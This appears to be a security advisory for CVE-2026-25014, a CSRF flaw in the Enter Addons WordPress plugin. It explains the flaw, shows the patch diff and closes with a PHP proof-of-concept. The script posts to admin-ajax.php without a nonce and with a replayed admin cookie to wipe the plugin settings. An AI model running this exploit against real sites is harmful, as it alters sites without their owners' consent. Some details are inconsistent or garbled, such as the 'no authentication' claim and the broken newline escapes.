Atomic Edge analysis of CVE-2026-25014:
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Enter Addons WordPress plugin, versions up to and including 2.3.2. The vulnerability resides in the plugin’s AJAX handler for saving settings, allowing attackers to trick authenticated administrators into performing unauthorized actions. The CVSS score of 4.3 reflects a medium severity risk.
The root cause is missing nonce validation and insufficient request verification in the `settings_data_save()` function within the file `enteraddons/admin/inc/Admin_Ajax_handler.php`. The original code (lines 35-48) only verified user capability with `current_user_can(‘manage_options’)` and performed a nonce check. However, this nonce check was conditional on the nonce parameter being present and valid. The function also lacked verification that the request was a legitimate AJAX call via `wp_doing_ajax()`. This allowed CSRF attacks where a crafted request, lacking a valid nonce, could still reach the function’s core logic if the attacker bypassed the nonce check by omitting the `enteraddons_settings_nonce` parameter.
Exploitation requires an attacker to lure a logged-in administrator with the `manage_options` capability to click a malicious link or visit a crafted page. The attack vector is a POST request to the WordPress AJAX endpoint `/wp-admin/admin-ajax.php`. The request must include the parameter `action` set to `enteraddons_settings_save`, which triggers the vulnerable `settings_data_save()` function. The payload would contain parameters like `enteraddons_widgets` and `enteraddons_extensions` within a POST body formatted as `application/x-www-form-urlencoded`. The attacker would intentionally omit the `enteraddons_settings_nonce` parameter to bypass the flawed validation.
The patch, applied in version 2.3.3, introduces three key fixes. First, it adds an AJAX context check with `if ( ! wp_doing_ajax() ) { wp_die( ‘Invalid request’ ); }`. Second, it changes the user capability check failure from a silent `return` to a terminating `wp_die( ‘Invalid request’ )`. Third, and most critically, it modifies the nonce validation logic on line 51. The new condition `!isset( $data[‘enteraddons_settings_nonce’] ) || ( isset( $data[‘enteraddons_settings_nonce’] ) && !wp_verify_nonce(…) )` ensures the function fails if the nonce parameter is absent, not just if it is present and invalid. These changes collectively enforce that requests must be legitimate AJAX calls from a privileged user containing a valid, present nonce.
Successful exploitation allows an attacker to modify the plugin’s saved settings. This could lead to the unauthorized enabling or disabling of specific widgets and extensions controlled by the plugin. While this does not directly grant remote code execution or data exfiltration, it could disrupt site functionality or be used as a stepping stone in a broader attack chain by disabling security-related extensions. The impact is limited to the plugin’s configuration scope but requires no authentication, only a victim administrator’s session.
--- a/enteraddons/admin/inc/Admin_Ajax_handler.php
+++ b/enteraddons/admin/inc/Admin_Ajax_handler.php
@@ -35,9 +35,14 @@
public function settings_data_save() {
$getData = [];
+
+ if ( ! wp_doing_ajax() ) {
+ wp_die( 'Invalid request' );
+ }
+
// Check user permission
if( !current_user_can('manage_options') ) {
- return;
+ wp_die( 'Invalid request' );
}
// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
@@ -46,8 +51,9 @@
$data = array();
parse_str( $getPostedData, $data );
- if( isset( $data['enteraddons_settings_nonce'] ) && !wp_verify_nonce( wp_unslash( $data['enteraddons_settings_nonce'] ), 'enteraddons_settings_nonce_action' ) ) {
+ if( !isset( $data['enteraddons_settings_nonce'] ) || ( isset( $data['enteraddons_settings_nonce'] ) && !wp_verify_nonce( wp_unslash( $data['enteraddons_settings_nonce'] ), 'enteraddons_settings_nonce_action' ) ) ) {
wp_send_json_error();
+
}
$getData['widgets'] = isset( $data['enteraddons_widgets'] ) && is_array( $data['enteraddons_widgets'] ) ? array_map( 'sanitize_text_field', $data['enteraddons_widgets'] ) : [];
@@ -63,7 +69,7 @@
wp_send_json_success();
-
+
}
}
--- a/enteraddons/enteraddons.php
+++ b/enteraddons/enteraddons.php
@@ -3,7 +3,7 @@
* Plugin Name: Enter Addons
* Plugin URI: https://themelooks.org/demo/enteraddons
* Description: Ultimate Template Builder for Elementor
- * Version: 2.3.2
+ * Version: 2.3.3
* Author: ThemeLooks
* Author URI: https://themelooks.com
* License: GPL v2 or later
@@ -20,7 +20,7 @@
// Version constant
if (!defined('ENTERADDONS_VERSION')) {
- define('ENTERADDONS_VERSION', '2.3.2');
+ define('ENTERADDONS_VERSION', '2.3.3');
}
// Current phpversion
if (!defined('ENTERADDONS_CURRENT_PHPVERSION')) {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25014 - Enter Addons <= 2.3.2 - Cross-Site Request Forgery
<?php
// CONFIGURATION
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // Change this to the target WordPress site
// The CSRF payload to disable all widgets and extensions.
// The 'enteraddons_settings_nonce' parameter is intentionally omitted to exploit the vulnerability.
$post_fields = array(
'action' => 'enteraddons_settings_save', // This action hooks into the vulnerable function
// The data is parsed via parse_str, so we send it as a single string.
// This payload sets the 'enteraddons_widgets' and 'enteraddons_extensions' arrays to be empty.
'data' => 'enteraddons_widgets=&enteraddons_extensions='
);
// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// In a real CSRF scenario, the victim's browser would send cookies automatically.
// For demonstration, we simulate an authenticated request by setting a cookie header.
// REPLACE the value with a valid administrator's WordPress session cookie.
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: wordpress_logged_in_xxxxxxxx=admin|xxxxxxxxxxxx;'
));
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output the result
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful exploit against a vulnerable version would return a JSON success message.
if ($http_code == 200 && strpos($response, 'success') !== false) {
echo "[+] CSRF attack simulation successful. Plugin settings may have been modified.n";
} else {
echo "[-] Request failed or target may be patched.n";
}
?>